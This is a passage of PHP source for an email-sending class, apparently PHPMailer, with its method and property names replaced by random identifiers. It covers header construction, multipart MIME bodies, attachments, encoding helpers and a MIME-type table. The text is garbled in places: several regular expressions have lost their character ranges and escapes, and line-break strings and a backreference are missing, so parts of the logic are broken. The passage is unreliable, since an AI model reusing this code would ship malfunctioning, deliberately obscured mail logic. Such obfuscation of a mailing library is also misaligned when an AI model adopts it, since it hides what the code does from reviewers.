(isset($renamed_langcodes[$langcode])) { $langcode = $renamed_langcodes[$langcode]; } $PHPMAILER_LANG = array('authenticate' => 'SMTP Error: Could not authenticate.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address: ', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ', 'extension_missing' => 'Extension missing: '); if (empty($lang_path)) { $lang_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR; } if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) { $langcode = 'en'; } $foundlang = true; $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php'; if ($langcode != 'en') { if (!self::kaRev($lang_file) or !is_readable($lang_file)) { $foundlang = false; } else { $foundlang = (include $lang_file); } } $this->KoQDi = $PHPMAILER_LANG; return (bool) $foundlang; } public function DVKn3() { return $this->KoQDi; } public function yrr7y($type, $addr) { $addresses = array(); foreach ($addr as $address) { $addresses[] = $this->JCoOi($address); } return $type . ': ' . implode(', ', $addresses) . $this->cfNMy; } public function Jcooi($addr) { if (empty($addr[1])) { return $this->IOa7L($addr[0]); } else { return $this->wyb8U($this->IoA7L($addr[1]), 'phrase') . ' <' . $this->IoA7l($addr[0]) . '>'; } } public function zo6Iw($message, $length, $qp_mode = false) { if ($qp_mode) { $soft_break = sprintf(' =%s', $this->cfNMy); } else { $soft_break = $this->cfNMy; } $is_utf8 = strtolower($this->UlQmX) == 'utf-8'; $lelen = strlen($this->cfNMy); $crlflen = strlen(self::hfsSJ); $message = $this->FKbCM($message); if (substr($message, -$lelen) == $this->cfNMy) { $message = substr($message, 0, -$lelen); } $lines = explode($this->cfNMy, $message); $message = ''; foreach ($lines as $line) { $words = explode(' ', $line); $buf = ''; $firstword = true; foreach ($words as $word) { if ($qp_mode and strlen($word) > $length) { $space_left = $length - strlen($buf) - $crlflen; if (!$firstword) { if ($space_left > 20) { $len = $space_left; if ($is_utf8) { $len = $this->iATP0($word, $len); } elseif (substr($word, $len - 1, 1) == '=') { $len--; } elseif (substr($word, $len - 2, 1) == '=') { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); $buf .= ' ' . $part; $message .= $buf . sprintf('=%s', self::hfsSJ); } else { $message .= $buf . $soft_break; } $buf = ''; } while (strlen($word) > 0) { if ($length <= 0) { break; } $len = $length; if ($is_utf8) { $len = $this->IaTP0($word, $len); } elseif (substr($word, $len - 1, 1) == '=') { $len--; } elseif (substr($word, $len - 2, 1) == '=') { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); if (strlen($word) > 0) { $message .= $part . sprintf('=%s', self::hfsSJ); } else { $buf = $part; } } } else { $buf_o = $buf; if (!$firstword) { $buf .= ' '; } $buf .= $word; if (strlen($buf) > $length and $buf_o != '') { $message .= $buf_o . $soft_break; $buf = $word; } } $firstword = false; } $message .= $buf . self::hfsSJ; } return $message; } public function IaTP0($encodedText, $maxLength) { $foundSplitPos = false; $lookBack = 3; while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); $encodedCharPos = strpos($lastChunk, '='); if (false !== $encodedCharPos) { $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); $dec = hexdec($hex); if ($dec < 128) { if ($encodedCharPos > 0) { $maxLength = $maxLength - ($lookBack - $encodedCharPos); } $foundSplitPos = true; } elseif ($dec >= 192) { $maxLength = $maxLength - ($lookBack - $encodedCharPos); $foundSplitPos = true; } elseif ($dec < 192) { $lookBack += 3; } } else { $foundSplitPos = true; } } return $maxLength; } public function FegvJ() { if ($this->cLjqm < 1) { return; } switch ($this->unpVY) { case 'alt': case 'alt_inline': case 'alt_attach': case 'alt_inline_attach': $this->setzV = $this->zo6iw($this->setzV, $this->cLjqm); break; default: $this->B1UGN = $this->ZO6iw($this->B1UGN, $this->cLjqm); break; } } public function MTmTK() { $result = ''; $result .= $this->jpe2_('Date', $this->AsoFY == '' ? self::Gyru6() : $this->AsoFY); if ($this->fWCzt) { if ($this->CIbTg != 'mail') { foreach ($this->CyuHW as $toaddr) { $this->o6lcg[] = $this->JcoOi($toaddr); } } } else { if (count($this->CyuHW) > 0) { if ($this->CIbTg != 'mail') { $result .= $this->yRr7Y('To', $this->CyuHW); } } elseif (count($this->Cr7f9) == 0) { $result .= $this->JpE2_('To', 'undisclosed-recipients:;'); } } $result .= $this->yrR7y('From', array(array(trim($this->D0sWe), $this->a7zTR))); if (count($this->Cr7f9) > 0) { $result .= $this->YRR7Y('Cc', $this->Cr7f9); } if (($this->CIbTg == 'sendmail' or $this->CIbTg == 'qmail' or $this->CIbTg == 'mail') and count($this->AvK2N) > 0) { $result .= $this->yRR7Y('Bcc', $this->AvK2N); } if (count($this->SPqcM) > 0) { $result .= $this->yrR7y('Reply-To', $this->SPqcM); } if ($this->CIbTg != 'mail') { $result .= $this->JpE2_('Subject', $this->WYB8u($this->ioA7l($this->Lhj4Q))); } if ('' != $this->U20E4 and preg_match('/^<.*@.*>$/', $this->U20E4)) { $this->G1Wqc = $this->U20E4; } else { $this->G1Wqc = sprintf('<%s@%s>', $this->xxsyU, $this->g7hY9()); } $result .= $this->Jpe2_('Message-ID', $this->G1Wqc); if (!is_null($this->Zw9WZ)) { $result .= $this->jpe2_('X-Priority', $this->Zw9WZ); } if ($this->nDkG6 == '') { $result .= $this->JpE2_('X-Mailer', 'PHPMailer ' . $this->eKd0j . ' (https://github.com/PHPMailer/PHPMailer)'); } else { $myXmailer = trim($this->nDkG6); if ($myXmailer) { $result .= $this->JPe2_('X-Mailer', $myXmailer); } } if ($this->dbRV3 != '') { $result .= $this->JpE2_('Disposition-Notification-To', '<' . $this->dbRV3 . '>'); } foreach ($this->UopSF as $header) { $result .= $this->JpE2_(trim($header[0]), $this->wyb8u(trim($header[1]))); } if (!$this->X61Fc) { $result .= $this->jpe2_('MIME-Version', '1.0'); $result .= $this->jzHF1(); } return $result; } public function JzhF1() { $result = ''; $ismultipart = true; switch ($this->unpVY) { case 'inline': $result .= $this->JpE2_('Content-Type', 'multipart/related;'); $result .= $this->hpNrG("	boundary=\"" . $this->EnU1I[1] . '"'); break; case 'attach': case 'inline_attach': case 'alt_attach': case 'alt_inline_attach': $result .= $this->JPE2_('Content-Type', 'multipart/mixed;'); $result .= $this->HPNRg("	boundary=\"" . $this->EnU1I[1] . '"'); break; case 'alt': case 'alt_inline': $result .= $this->jPe2_('Content-Type', 'multipart/alternative;'); $result .= $this->HPNRg("	boundary=\"" . $this->EnU1I[1] . '"'); break; default: $result .= $this->hPNRg('Content-Type: ' . $this->lhtZ2 . '; charset=' . $this->UlQmX); $ismultipart = false; break; } if ($this->vD9sv != '7bit') { if ($ismultipart) { if ($this->vD9sv == '8bit') { $result .= $this->jpe2_('Content-Transfer-Encoding', '8bit'); } } else { $result .= $this->jPE2_('Content-Transfer-Encoding', $this->vD9sv); } } if ($this->CIbTg != 'mail') { $result .= $this->cfNMy; } return $result; } public function hcbGL() { return rtrim($this->Oye33 . $this->M_K4S, "

") . self::hfsSJ . self::hfsSJ . $this->DTdTr; } protected function URueA() { return md5(uniqid(time())); } public function WjBVt() { $body = ''; $this->xxsyU = $this->URueA(); $this->EnU1I[1] = 'b1_' . $this->xxsyU; $this->EnU1I[2] = 'b2_' . $this->xxsyU; $this->EnU1I[3] = 'b3_' . $this->xxsyU; if ($this->X61Fc) { $body .= $this->jzHf1() . $this->cfNMy; } $this->FEgvj(); $bodyEncoding = $this->vD9sv; $bodyCharSet = $this->UlQmX; if ($bodyEncoding == '8bit' and !$this->o_0gk($this->B1UGN)) { $bodyEncoding = '7bit'; $bodyCharSet = 'us-ascii'; } if ('base64' != $this->vD9sv and self::qilvP($this->B1UGN)) { $bodyEncoding = 'quoted-printable'; } $altBodyEncoding = $this->vD9sv; $altBodyCharSet = $this->UlQmX; if ($altBodyEncoding == '8bit' and !$this->o_0gK($this->setzV)) { $altBodyEncoding = '7bit'; $altBodyCharSet = 'us-ascii'; } if ('base64' != $altBodyEncoding and self::Qilvp($this->setzV)) { $altBodyEncoding = 'quoted-printable'; } $mimepre = "This is a multi-part message in MIME format." . $this->cfNMy . $this->cfNMy; switch ($this->unpVY) { case 'inline': $body .= $mimepre; $body .= $this->A5gW7($this->EnU1I[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->Mz5Iu($this->B1UGN, $bodyEncoding); $body .= $this->cfNMy . $this->cfNMy; $body .= $this->UV_Yn('inline', $this->EnU1I[1]); break; case 'attach': $body .= $mimepre; $body .= $this->A5gw7($this->EnU1I[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->mZ5Iu($this->B1UGN, $bodyEncoding); $body .= $this->cfNMy . $this->cfNMy; $body .= $this->uV_Yn('attachment', $this->EnU1I[1]); break; case 'inline_attach': $body .= $mimepre; $body .= $this->hPNRG('--' . $this->EnU1I[1]); $body .= $this->jPE2_('Content-Type', 'multipart/related;'); $body .= $this->HpNrG("	boundary=\"" . $this->EnU1I[2] . '"'); $body .= $this->cfNMy; $body .= $this->A5GW7($this->EnU1I[2], $bodyCharSet, '', $bodyEncoding); $body .= $this->mZ5IU($this->B1UGN, $bodyEncoding); $body .= $this->cfNMy . $this->cfNMy; $body .= $this->Uv_YN('inline', $this->EnU1I[2]); $body .= $this->cfNMy; $body .= $this->uv_yn('attachment', $this->EnU1I[1]); break; case 'alt': $body .= $mimepre; $body .= $this->A5gW7($this->EnU1I[1], $altBodyCharSet, 'text/plain', $altBodyEncoding); $body .= $this->mZ5iU($this->setzV, $altBodyEncoding); $body .= $this->cfNMy . $this->cfNMy; $body .= $this->A5Gw7($this->EnU1I[1], $bodyCharSet, 'text/html', $bodyEncoding); $body .= $this->MZ5iU($this->B1UGN, $bodyEncoding); $body .= $this->cfNMy . $this->cfNMy; if (!empty($this->qqHlD)) { $body .= $this->a5Gw7($this->EnU1I[1], '', 'text/calendar; method=REQUEST', ''); $body .= $this->mZ5IU($this->qqHlD, $this->vD9sv); $body .= $this->cfNMy . $this->cfNMy; } $body .= $this->aJmiV($this->EnU1I[1]); break; case 'alt_inline': $body .= $mimepre; $body .= $this->A5GW7($this->EnU1I[1], $altBodyCharSet, 'text/plain', $altBodyEncoding); $body .= $this->mZ5Iu($this->setzV, $altBodyEncoding); $body .= $this->cfNMy . $this->cfNMy; $body .= $this->hPnRG('--' . $this->EnU1I[1]); $body .= $this->JPe2_('Content-Type', 'multipart/related;'); $body .= $this->hpNRG("	boundary=\"" . $this->EnU1I[2] . '"'); $body .= $this->cfNMy; $body .= $this->a5Gw7($this->EnU1I[2], $bodyCharSet, 'text/html', $bodyEncoding); $body .= $this->Mz5IU($this->B1UGN, $bodyEncoding); $body .= $this->cfNMy . $this->cfNMy; $body .= $this->uv_yn('inline', $this->EnU1I[2]); $body .= $this->cfNMy; $body .= $this->ajMIv($this->EnU1I[1]); break; case 'alt_attach': $body .= $mimepre; $body .= $this->hpnrg('--' . $this->EnU1I[1]); $body .= $this->JPe2_('Content-Type', 'multipart/alternative;'); $body .= $this->HPnrg("	boundary=\"" . $this->EnU1I[2] . '"'); $body .= $this->cfNMy; $body .= $this->A5gW7($this->EnU1I[2], $altBodyCharSet, 'text/plain', $altBodyEncoding); $body .= $this->mZ5iu($this->setzV, $altBodyEncoding); $body .= $this->cfNMy . $this->cfNMy; $body .= $this->a5GW7($this->EnU1I[2], $bodyCharSet, 'text/html', $bodyEncoding); $body .= $this->Mz5iu($this->B1UGN, $bodyEncoding); $body .= $this->cfNMy . $this->cfNMy; $body .= $this->AjMIv($this->EnU1I[2]); $body .= $this->cfNMy; $body .= $this->Uv_yn('attachment', $this->EnU1I[1]); break; case 'alt_inline_attach': $body .= $mimepre; $body .= $this->HPNrG('--' . $this->EnU1I[1]); $body .= $this->JpE2_('Content-Type', 'multipart/alternative;'); $body .= $this->HPNRg("	boundary=\"" . $this->EnU1I[2] . '"'); $body .= $this->cfNMy; $body .= $this->a5gw7($this->EnU1I[2], $altBodyCharSet, 'text/plain', $altBodyEncoding); $body .= $this->mZ5iU($this->setzV, $altBodyEncoding); $body .= $this->cfNMy . $this->cfNMy; $body .= $this->hpnrG('--' . $this->EnU1I[2]); $body .= $this->jPE2_('Content-Type', 'multipart/related;'); $body .= $this->HpnRG("	boundary=\"" . $this->EnU1I[3] . '"'); $body .= $this->cfNMy; $body .= $this->A5Gw7($this->EnU1I[3], $bodyCharSet, 'text/html', $bodyEncoding); $body .= $this->Mz5IU($this->B1UGN, $bodyEncoding); $body .= $this->cfNMy . $this->cfNMy; $body .= $this->uV_yN('inline', $this->EnU1I[3]); $body .= $this->cfNMy; $body .= $this->aJMiV($this->EnU1I[2]); $body .= $this->cfNMy; $body .= $this->Uv_yn('attachment', $this->EnU1I[1]); break; default: $this->vD9sv = $bodyEncoding; $body .= $this->Mz5Iu($this->B1UGN, $this->vD9sv); break; } if ($this->j4uQg()) { $body = ''; } elseif ($this->X61Fc) { try { if (!defined('PKCS7_TEXT')) { throw new BYTNh($this->ZxY1Z('extension_missing') . 'openssl'); } $file = tempnam(sys_get_temp_dir(), 'mail'); if (false === file_put_contents($file, $body)) { throw new BYtNH($this->zxy1z('signing') . ' Could not write temp file'); } $signed = tempnam(sys_get_temp_dir(), 'signed'); if (empty($this->xgyfK)) { $sign = @openssl_pkcs7_sign($file, $signed, 'file://' . realpath($this->eRqEd), array('file://' . realpath($this->X61Fc), $this->qTqGb), null); } else { $sign = @openssl_pkcs7_sign($file, $signed, 'file://' . realpath($this->eRqEd), array('file://' . realpath($this->X61Fc), $this->qTqGb), null, PKCS7_DETACHED, $this->xgyfK); } if ($sign) { @unlink($file); $body = file_get_contents($signed); @unlink($signed); $parts = explode("

", $body, 2); $this->Oye33 .= $parts[0] . $this->cfNMy . $this->cfNMy; $body = $parts[1]; } else { @unlink($file); @unlink($signed); throw new BytNh($this->zXY1z('signing') . openssl_error_string()); } } catch (BYtnH $exc) { $body = ''; if ($this->Z5Auz) { throw $exc; } } } return $body; } protected function A5GW7($boundary, $charSet, $contentType, $encoding) { $result = ''; if ($charSet == '') { $charSet = $this->UlQmX; } if ($contentType == '') { $contentType = $this->lhtZ2; } if ($encoding == '') { $encoding = $this->vD9sv; } $result .= $this->HPnRg('--' . $boundary); $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet); $result .= $this->cfNMy; if ($encoding != '7bit') { $result .= $this->jpe2_('Content-Transfer-Encoding', $encoding); } $result .= $this->cfNMy; return $result; } protected function AjmIv($boundary) { return $this->cfNMy . '--' . $boundary . '--' . $this->cfNMy; } protected function V5NCP() { $type = array(); if ($this->EF4mO()) { $type[] = 'alt'; } if ($this->VBXpk()) { $type[] = 'inline'; } if ($this->ntp6D()) { $type[] = 'attach'; } $this->unpVY = implode('_', $type); if ($this->unpVY == '') { $this->unpVY = 'plain'; } } public function jpe2_($name, $value) { return $name . ': ' . $value . $this->cfNMy; } public function hPNrG($value) { return $value . $this->cfNMy; } public function swCfX($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment') { try { if (!self::Karev($path) or !@is_file($path)) { throw new bYtNh($this->ZxY1Z('file_access') . $path, self::Tc3WZ); } if ($type == '') { $type = self::eOtHq($path); } $filename = basename($path); if ($name == '') { $name = $filename; } $this->v2QWx[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => 0); } catch (BYtNh $exc) { $this->V0Giu($exc->getMessage()); $this->IScVw($exc->getMessage()); if ($this->Z5Auz) { throw $exc; } return false; } return true; } public function WR_te() { return $this->v2QWx; } protected function uV_Yn($disposition_type, $boundary) { $mime = array(); $cidUniq = array(); $incl = array(); foreach ($this->v2QWx as $attachment) { if ($attachment[6] == $disposition_type) { $string = ''; $path = ''; $bString = $attachment[5]; if ($bString) { $string = $attachment[0]; } else { $path = $attachment[0]; } $inclhash = md5(serialize($attachment)); if (in_array($inclhash, $incl)) { continue; } $incl[] = $inclhash; $name = $attachment[2]; $encoding = $attachment[3]; $type = $attachment[4]; $disposition = $attachment[6]; $cid = $attachment[7]; if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) { continue; } $cidUniq[$cid] = true; $mime[] = sprintf('--%s%s', $boundary, $this->cfNMy); if (!empty($name)) { $mime[] = sprintf('Content-Type: %s; name="%s"%s', $type, $this->wyB8u($this->Ioa7l($name)), $this->cfNMy); } else { $mime[] = sprintf('Content-Type: %s%s', $type, $this->cfNMy); } if ($encoding != '7bit') { $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->cfNMy); } if ($disposition == 'inline') { $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->cfNMy); } if (!empty($disposition)) { $encoded_name = $this->WYB8u($this->ioA7L($name)); if (preg_match('/[ \(\)<>@,;:\"\/\[\]\?=]/', $encoded_name)) { $mime[] = sprintf('Content-Disposition: %s; filename="%s"%s', $disposition, $encoded_name, $this->cfNMy . $this->cfNMy); } else { if (!empty($encoded_name)) { $mime[] = sprintf('Content-Disposition: %s; filename=%s%s', $disposition, $encoded_name, $this->cfNMy . $this->cfNMy); } else { $mime[] = sprintf('Content-Disposition: %s%s', $disposition, $this->cfNMy . $this->cfNMy); } } } else { $mime[] = $this->cfNMy; } if ($bString) { $mime[] = $this->mz5IU($string, $encoding); if ($this->J4Uqg()) { return ''; } $mime[] = $this->cfNMy . $this->cfNMy; } else { $mime[] = $this->GuI53($path, $encoding); if ($this->j4UQG()) { return ''; } $mime[] = $this->cfNMy . $this->cfNMy; } } } $mime[] = sprintf('--%s--%s', $boundary, $this->cfNMy); return implode('', $mime); } protected function Gui53($path, $encoding = 'base64') { try { if (!self::KAREv($path) or !file_exists($path)) { throw new bYTnh($this->Zxy1Z('file_open') . $path, self::Tc3WZ); } $magic_quotes = false; if (version_compare(PHP_VERSION, '7.4.0', '<')) { $magic_quotes = get_magic_quotes_runtime(); } if ($magic_quotes) { if (version_compare(PHP_VERSION, '5.3.0', '<')) { set_magic_quotes_runtime(false); } else { ini_set('magic_quotes_runtime', false); } } $file_buffer = file_get_contents($path); $file_buffer = $this->mz5iU($file_buffer, $encoding); if ($magic_quotes) { if (version_compare(PHP_VERSION, '5.3.0', '<')) { set_magic_quotes_runtime($magic_quotes); } else { ini_set('magic_quotes_runtime', $magic_quotes); } } return $file_buffer; } catch (Exception $exc) { $this->v0giU($exc->getMessage()); return ''; } } public function mZ5iu($str, $encoding = 'base64') { $encoded = ''; switch (strtolower($encoding)) { case 'base64': $encoded = chunk_split(base64_encode($str), 76, $this->cfNMy); break; case '7bit': case '8bit': $encoded = $this->fkBcM($str); if (substr($encoded, -strlen($this->cfNMy)) != $this->cfNMy) { $encoded .= $this->cfNMy; } break; case 'binary': $encoded = $str; break; case 'quoted-printable': $encoded = $this->e9yAk($str); break; default: $this->v0GiU($this->zxy1z('encoding') . $encoding); break; } return $encoded; } public function WyB8U($str, $position = 'text') { $matchcount = 0; switch (strtolower($position)) { case 'phrase': if (!preg_match('/[-]/', $str)) { $encoded = addcslashes($str, "..\""); if ($str == $encoded && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { return $encoded; } else { return "\"{$encoded}\""; } } $matchcount = preg_match_all('/[^ !#-[]-~]/', $str, $matches); break; case 'comment': $matchcount = preg_match_all('/[()"]/', $str, $matches); case 'text': default: $matchcount += preg_match_all('/[---]/', $str, $matches); break; } if ($matchcount == 0) { return $str; } $maxlen = 75 - 7 - strlen($this->UlQmX); if ($matchcount > strlen($str) / 3) { $encoding = 'B'; if (function_exists('mb_strlen') && $this->tT2qL($str)) { $encoded = $this->xqptg($str, "
"); } else { $encoded = base64_encode($str); $maxlen -= $maxlen % 4; $encoded = trim(chunk_split($encoded, $maxlen, "
")); } } else { $encoding = 'Q'; $encoded = $this->IrhCN($str, $position); $encoded = $this->ZO6iW($encoded, $maxlen, true); $encoded = str_replace('=' . self::hfsSJ, "
", trim($encoded)); } $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->UlQmX . "?{$encoding}??=", $encoded); $encoded = trim(str_replace("
", $this->cfNMy, $encoded)); return $encoded; } public function Tt2ql($str) { if (function_exists('mb_strlen')) { return strlen($str) > mb_strlen($str, $this->UlQmX); } else { return false; } } public function O_0gK($text) { return (bool) preg_match('/[-]/', $text); } public function xQPTg($str, $linebreak = null) { $start = '=?' . $this->UlQmX . '?B?'; $end = '?='; $encoded = ''; if ($linebreak === null) { $linebreak = $this->cfNMy; } $mb_length = mb_strlen($str, $this->UlQmX); $length = 75 - strlen($start) - strlen($end); $ratio = $mb_length / strlen($str); $avgLength = floor($length * $ratio * 0.75); for ($i = 0; $i < $mb_length; $i += $offset) { $lookBack = 0; do { $offset = $avgLength - $lookBack; $chunk = mb_substr($str, $i, $offset, $this->UlQmX); $chunk = base64_encode($chunk); $lookBack++; } while (strlen($chunk) > $length); $encoded .= $chunk . $linebreak; } $encoded = substr($encoded, 0, -strlen($linebreak)); return $encoded; } public function E9YAk($string, $line_max = 76) { if (function_exists('quoted_printable_encode')) { return quoted_printable_encode($string); } $string = str_replace(array('%20', '%0D%0A.', '%0D%0A', '%'), array(' ', "
=2E", "
", '='), rawurlencode($string)); return preg_replace('/[^
]{' . ($line_max - 3) . '}[^=
]{2}/', "\$0=
", $string); } public function UWPMF($string, $line_max = 76, $space_conv = false) { return $this->e9YaK($string, $line_max); } public function IRHCN($str, $position = 'text') { $pattern = ''; $encoded = str_replace(array("
", "
"), '', $str); switch (strtolower($position)) { case 'phrase': $pattern = '^A-Za-z0-9!*+\/ -'; break; case 'comment': $pattern = '\(\)"'; case 'text': default: $pattern = '-	-=?_-' . $pattern; break; } $matches = array(); if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { $eqkey = array_search('=', $matches[0]); if (false !== $eqkey) { unset($matches[0][$eqkey]); array_unshift($matches[0], '='); } foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded); } } return str_replace(' ', '_', $encoded); } public function UqLyQ($string, $filename, $encoding = 'base64', $type = '', $disposition = 'attachment') { if ($type == '') { $type = self::eOThQ($filename); } $this->v2QWx[] = array(0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => 0); } public function WzU3f($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') { if (!self::karev($path) or !@is_file($path)) { $this->v0giU($this->zXY1Z('file_access') . $path); return false; } if ($type == '') { $type = self::eotHQ($path); } $filename = basename($path); if ($name == '') { $name = $filename; } $this->v2QWx[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => $cid); return true; } public function nB1zU($string, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') { if ($type == '' and !empty($name)) { $type = self::EOthq($name); } $this->v2QWx[] = array(0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => $cid); return true; } public function vbXpk() { foreach ($this->v2QWx as $attachment) { if ($attachment[6] == 'inline') { return true; } } return false; } public function NTP6D() { foreach ($this->v2QWx as $attachment) { if ($attachment[6] == 'attachment') { return true; } } return false; } public function eF4mo() { return !empty($this->setzV); } public function ikaYL($kind) { $RecipientsQueue = $this->s9VCX; foreach ($RecipientsQueue as $address => $params) { if ($params[0] == $kind) { unset($this->s9VCX[$address]); } } } public function fQ2Wt() { foreach ($this->CyuHW as $to) { unset($this->JkfMD[strtolower($to[0])]); } $this->CyuHW = array(); $this->IKayl('to'); } public function ZQezP() { foreach ($this->Cr7f9 as $cc) { unset($this->JkfMD[strtolower($cc[0])]); } $this->Cr7f9 = array(); $this->IKaYL('cc'); } public function lR6Sj() { foreach ($this->AvK2N as $bcc) { unset($this->JkfMD[strtolower($bcc[0])]); } $this->AvK2N = array(); $this->iKAyl('bcc'); } public function g2pJ2() { $this->SPqcM = array(); $this->slYIG = array(); } public function DM1FL() { $this->CyuHW = array(); $this->Cr7f9 = array(); $this->AvK2N = array(); $this->JkfMD = array(); $this->s9VCX = array(); } public function im5DJ() { $this->v2QWx = array(); } public function F1mjW() { $this->UopSF = array(); } protected function V0giU($msg) { $this->ItUJd++; if ($this->CIbTg == 'smtp' and !is_null($this->Cr_CF)) { $lasterror = $this->Cr_CF->hTHNm(); if (!empty($lasterror['error'])) { $msg .= $this->Zxy1Z('smtp_error') . $lasterror['error']; if (!empty($lasterror['detail'])) { $msg .= ' Detail: ' . $lasterror['detail']; } if (!empty($lasterror['smtp_code'])) { $msg .= ' SMTP code: ' . $lasterror['smtp_code']; } if (!empty($lasterror['smtp_code_ex'])) { $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex']; } } } $this->z0uZr = $msg; } public static function GYru6() { date_default_timezone_set(@date_default_timezone_get()); return date('D, j M Y H:i:s O'); } protected function g7HY9() { $result = 'localhost.localdomain'; if (!empty($this->os6Fg)) { $result = $this->os6Fg; } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) { $result = $_SERVER['SERVER_NAME']; } elseif (function_exists('gethostname') && gethostname() !== false) { $result = gethostname(); } elseif (php_uname('n') !== false) { $result = php_uname('n'); } return $result; } protected function ZxY1z($key) { if (count($this->KoQDi) < 1) { $this->vzlgj('en'); } if (array_key_exists($key, $this->KoQDi)) { if ($key == 'smtp_connect_failed') { return $this->KoQDi[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting'; } return $this->KoQDi[$key]; } else { return $key; } } public function J4UQg() { return $this->ItUJd > 0; } public function FkbCM($str) { $nstr = str_replace(array("
", "
"), "
", $str); if ($this->cfNMy !== "
") { $nstr = str_replace("
", $this->cfNMy, $nstr); } return $nstr; } public function yN2Ug($name, $value = null) { if ($value === null) { $this->UopSF[] = explode(':', $name, 2); } else { $this->UopSF[] = array($name, $value); } } public function pCXZi() { return $this->UopSF; } public function QIIqe($message, $basedir = '', $advanced = false) { preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images); if (array_key_exists(2, $images)) { if (strlen($basedir) > 1 && substr($basedir, -1) != '/') { $basedir .= '/'; } foreach ($images[2] as $imgindex => $url) { if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) { $data = substr($url, strpos($url, ',')); if ($match[2]) { $data = base64_decode($data); } else { $data = rawurldecode($data); } $cid = md5($url) . '@phpmailer.0'; if ($this->Nb1zU($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) { $message = str_replace($images[0][$imgindex], $images[1][$imgindex] . '="cid:' . $cid . '"', $message); } continue; } if (!empty($basedir) && strpos($url, '..') === false && substr($url, 0, 4) !== 'cid:' && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)) { $filename = basename($url); $directory = dirname($url); if ($directory == '.') { $directory = ''; } $cid = md5($url) . '@phpmailer.0'; if (strlen($directory) > 1 && substr($directory, -1) != '/') { $directory .= '/'; } if ($this->wzu3f($basedir . $directory . $filename, $cid, $filename, 'base64', self::Aeeqg((string) self::xTiBD($filename, PATHINFO_EXTENSION)))) { $message = preg_replace('/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', $images[1][$imgindex] . '="cid:' . $cid . '"', $message); } } } } $this->noJhY(true); $this->B1UGN = $this->L4LPI($message); $this->setzV = $this->l4lpI($this->ubzou($message, $advanced)); if (!$this->EF4MO()) { $this->setzV = 'To view this email message, open it in a program that understands HTML!' . self::hfsSJ . self::hfsSJ; } return $this->B1UGN; } public function ubZOU($html, $advanced = false) { if (is_callable($advanced)) { return call_user_func($advanced, $html); } return html_entity_decode(trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/si', '', $html))), ENT_QUOTES, $this->UlQmX); } public static function AEEQg($ext = '') { $mimes = array('xl' => 'application/excel', 'js' => 'application/javascript', 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'bin' => 'application/macbinary', 'doc' => 'application/msword', 'word' => 'application/msword', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'class' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'dms' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'so' => 'application/octet-stream', 'oda' => 'application/oda', 